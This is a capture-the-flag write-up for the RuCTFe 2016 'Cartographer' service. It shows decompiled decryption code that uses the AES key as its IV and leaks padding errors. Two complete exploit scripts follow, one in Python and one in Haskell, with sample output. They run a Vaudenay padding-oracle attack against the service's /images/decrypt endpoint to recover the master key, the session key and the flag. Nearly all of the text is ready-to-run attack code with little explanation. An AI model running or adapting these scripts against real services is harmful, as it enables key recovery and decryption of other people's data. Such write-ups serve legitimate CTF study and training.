RuCTFe 2016 Write-up: Cartographer

Cipher cipher = Cipher.getInstance(this.cryptographySettings.getCipherSpec());
cipher.init(2, key, new IvParameterSpec(key.getEncoded()));
byte[] arrby = cipher.doFinal(ciphertext);

cipherSpecSetting = new StringSetting("cryptography.cipher_spec", "AES/CBC/PKCS5Padding");

public byte[] decrypt(@NotNull Key sessionKey, @NotNull Key masterKey, @NotNull byte[] ciphertext) {
    Intrinsics.checkParameterIsNotNull((Object)sessionKey, (String)"sessionKey");
    Intrinsics.checkParameterIsNotNull((Object)masterKey, (String)"masterKey");
    Intrinsics.checkParameterIsNotNull((Object)ciphertext, (String)"ciphertext");
    int metadataEncryptedLength = SerializationHelperKt.bytesToInt((byte[])ciphertext);
    byte[] metadataEncrypted = ArraysKt.sliceArray((byte[])ciphertext, (IntRange)RangesKt.until((int)4, (int)(4 + metadataEncryptedLength)));
    byte[] imageEncrypted = ArraysKt.sliceArray((byte[])ciphertext, (IntRange)RangesKt.until((int)(4 + metadataEncryptedLength), (int)ciphertext.length));
    byte[] metadataSerialized = this.cryptography.decrypt(masterKey, metadataEncrypted);
    ChunkMetadata metadata = (ChunkMetadata)this.objectMapper.readValue(metadataSerialized, ChunkMetadata.class);
    Key decryptedSessionKey = this.keyDeserializer.deserialize(metadata.getSessionKey());
    if (Intrinsics.areEqual((Object)decryptedSessionKey, (Object)sessionKey) ^ true) {
        throw (Throwable)new InvalidKeyException();
    }
    return this.cryptography.decrypt(sessionKey, imageEncrypted);
}

$ ./pwn_cartographer.py 
[*] Leaking the first 15 bytes of the master key via a Vaudenay attack, wait
    14eddec8fce5b7aaf8845edb15c83dff
[*] Bruteforcing the last byte of the key...
[*] Done! Master key value is 014eddec8fce5b7aaf8845edb15c83a2
[*] Got the metadata block containing the session key!
    {"sessionKey":"BWTtA/GxPsgOnx4d1mOSwA=="}
[*] Decrypting the image with the session key
[*] Got a flag! CUZFEYMZLULCJXQNTNSRKHMOGQCXIBX=

#!/usr/bin/python2

import re
import sys
import json
import struct
import base64
import argparse
import requests
from Crypto.Cipher import AES

BLOCK_SIZE = 16
url = None


def decrypt(key, data):
    # last param is IV, we assume it's equal to key in this case
    aes = AES.new(key, AES.MODE_CBC, key)
    plain = aes.decrypt(data)

    return plain


def is_padding_ok(data, key='AAAAAAAAAAAAAAAA'):
    r = requests.post('{}/images/decrypt'.format(url),
                      json={'key': base64.b64encode(key), 
                      'chunk': base64.b64encode(struct.pack('>I', len(data)) + data)})

    return not 'BadPaddingException' in r.text


def vaudenay(C1, C2):
    """Return the plaintext of C2 using the Vaudenay attack."""

    # integers are more useful
    C1 = [ord(c1) for c1 in C1]
    # list of guesses of the values of P2
    G2 = [0] * 16
    pad = 1
    for i in range(BLOCK_SIZE - 1, -1, -1):
        # temporary block that will be sent to the oracle along with C2
        T = [0] * BLOCK_SIZE
        # apply the correct padding to the last part of the temporary block
        T[i + 1:] = [c1 ^ g2 ^ pad for c1, g2 in zip(C1[i + 1:], G2[i + 1:])]
        # try all possible values of g2 until there are no padding errors
        c1 = C1[i]
        for g2 in range(256):
            T[i] = c1 ^ g2 ^ pad
            # a tiny nice animation
            G2_visual = list(G2)
            G2_visual[i] = g2
            sys.stderr.write('    {}\r'.format(
                ''.join([hex(g)[2:] if g != 0 else '__' for g in G2_visual])))
            if is_padding_ok(''.join(chr(t) for t in T) + C2):
                # padding is fine, hence g2 == p2
                G2[i] = g2
                pad += 1
                break
    sys.stderr.write('\n')

    return ''.join(chr(g) for g in G2)


def brute(partial_key, ciphertext, expected_plaintext):
    for x in range(256):
        key = ''.join(partial_key + chr(x))
        if expected_plaintext in decrypt(key, ciphertext):
            return key


def unpad(data):
    return data[:-ord(data[-1])]


def main():
    global url

    parser = argparse.ArgumentParser(description='Pwn Cartographer')
    parser.add_argument('-host', type=str, default='localhost',
        help='Host running the service (default: localhost)')
    parser.add_argument('-port', type=int, default=8080,
        help='Port (default: 8080)')
    args = parser.parse_args()
    url = 'http://{}:{}'.format(args.host, args.port)

    # download the most recent chunk
    chunks_list = requests.get('{}/chunks/_recent'.format(url))
    try:
        chunk_id = json.loads(chunks_list.text)[0]
    except IndexError:
        sys.stderr.write('The service must have at least one loaded map, aborting.\n')
        sys.exit(1)
    r = requests.get('{}/chunks/{}'.format(url, chunk_id))
    chunk = r.content

    # get the metadata and image encrypted blocks from the chunk
    metadata_len = struct.unpack('>I', chunk[:4])[0]
    enc_metadata = chunk[4:4 + metadata_len]
    enc_img = chunk[4 + metadata_len:]

    # perform the modified Vaudenay attack to recover the master key
    C1 = enc_metadata[:BLOCK_SIZE]
    # we don't know what the last byte of P1 is, so we use '?' for now
    P1 = '{"sessionKey":"?'
    print('[*] Leaking the first 15 bytes of the master key via a Vaudenay attack, wait')
    master_key_partial = vaudenay(P1, C1)
    print('[*] Bruteforcing the last byte of the key...')
    master_key = brute(master_key_partial[:-1], C1, P1[:-1])
    print('[*] Done! Master key value is {}'.format(master_key.encode('hex')))
    metadata = unpad(decrypt(master_key, enc_metadata))
    print('[*] Got the metadata block containing the session key!\n    {}'.format(metadata))

    # get the session key from the metadata structure and decrypt the image block
    session_key = base64.b64decode(json.loads(metadata)['sessionKey'])
    print('[*] Decrypting the image with the session key')
    img = unpad(decrypt(session_key, enc_img)).decode('utf-8')
    flag = re.findall('\w{31}=', img)[0]
    print('[*] Got a flag! {}'.format(flag))


if __name__ == '__main__':
    main()

{-# LANGUAGE OverloadedStrings #-}

-- Packages: AES download-curl base64-bytestring json

import qualified Codec.Crypto.AES       as AES
import qualified Data.ByteString        as S
import qualified Data.ByteString.Lazy   as L
import qualified Data.ByteString.Base64 as B64
import qualified Data.Binary            as B2
import qualified Data.Text              as T
import qualified Data.Text.Encoding     as T
import qualified Data.Text.IO           as T
import qualified Text.JSON              as JS
import Data.Bits
import Data.Char
import Data.String
import Data.Word
import Control.Monad
import Control.Arrow
import Network.Curl
import Network.Curl.Download
import System.Environment
import Text.Printf

--------------------------------------------------------------------------------
-- UTILS

bsString :: S.ByteString -> String
bsString = map chr . map fromIntegral . S.unpack

stringBs :: String -> S.ByteString
stringBs = S.pack . map fromIntegral . map ord 

download :: String -> IO S.ByteString
download url = either error id <$> openURI url

postJSon :: String -> String -> IO S.ByteString
postJSon url json = either error id <$>
  openURIWithOpts [CurlPost True
                  ,CurlPostFields [json]
                  ,CurlHttpHeaders ["Content-Type: application/json"]
                  ,CurlFailOnError False]
                  url

decrypt :: S.ByteString -> S.ByteString -> S.ByteString
decrypt key str = AES.crypt' AES.CBC key key AES.Decrypt str

aesPadding :: S.ByteString -> (S.ByteString, S.ByteString)
aesPadding str = S.splitAt (S.length str - (fromIntegral $ S.last str)) str

--------------------------------------------------------------------------------
-- CONSTANTS

url :: String
url = "http://localhost:8080"

urlDecrypt :: String
urlDecrypt = printf "%s/images/decrypt" url

urlChunk :: String -> String
urlChunk id = printf "%s/chunks/%s" url id

blocksize :: Num a => a
blocksize = 16

--------------------------------------------------------------------------------
-- VAUDENAY

oracle :: S.ByteString -> IO Bool
oracle chunk = do
  let json = jsonKeyChunk (S.replicate blocksize 0x41) chunk
  res      <- postJSon urlDecrypt json
  return $ S.isInfixOf "BadPaddingException" res

jsonKeyChunk :: S.ByteString -> S.ByteString -> String
jsonKeyChunk k c = printf "{\"key\": \"%s\", \"chunk\":\"%s\"}" key chunk
  where key   = bsString $ B64.encode k
        chunk = bsString $ B64.encode $ S.append clen c
        clen  = L.toStrict $ B2.encode (fromIntegral $ S.length c :: Word32)

vaudenay ::  S.ByteString -> IO S.ByteString
vaudenay c1 = S.pack <$> loop (blocksize-1) 1 []
  where loop i _   guesses | i < 0 = return guesses
        loop i pad guesses         = loop (i-1) (pad+1) . (:guesses)
                                   =<< getG pad guesses
        getG pad guesses = fmap (head . mconcat) $ forM [0..255] $ \g -> do
          let chunk = reverse $ take blocksize
                    $ map (xor pad) (reverse guesses) ++ [g`xor`pad] ++ repeat 0
          res <- oracle $ S.append (S.pack chunk) c1
          if not res
            then putStr "." >> return [g]
            else return mempty

bruteLast :: S.ByteString -> S.ByteString -> S.ByteString -> S.ByteString
bruteLast plain block guesses = maybe (error "No Key Found!") id
                              $ foldMap ff [0..255]
  where ff i | S.isInfixOf plain dec = Just key
             | otherwise             = Nothing
              where dec = decrypt key block
                    key = S.pack
                        $ S.zipWith xor guesses
                        $ S.append plain (S.pack [i])

--------------------------------------------------------------------------------
-- MAIN

main :: IO ()
main = do
  (filename:_) <- getArgs

  recentJson           <- download $ urlChunk "_recent"
  let JS.Ok (recent:_) = JS.decode $ bsString recentJson

  chunk        <- download $ urlChunk recent
  let length   = fromIntegral (B2.decode $ L.fromStrict $ S.take 4 chunk :: Word32)
  let metadata = S.take length $ S.drop 4 chunk
  let image    = S.drop (4 + length) chunk

  let block1  = S.take blocksize metadata
  let plain1  = "{\"sessionKey\":\""
  guesses <- vaudenay block1
  putStrLn ""

  let masterKey'  = bruteLast plain1 block1 guesses
  let metadataDec = decrypt masterKey' metadata
  print metadataDec

  let (metadatajs, _)         = aesPadding metadataDec
  let JS.Ok (JS.JSObject res) = JS.decode $ bsString metadatajs
  let JS.Ok sessKey64         = JS.valFromObj "sessionKey" res
  let Right sessKey           = B64.decode $ stringBs sessKey64

  let imageDec = T.decodeUtf8 $ decrypt sessKey image
  S.writeFile filename $
    S.pack $ map (fromIntegral . ord) $ T.unpack imageDec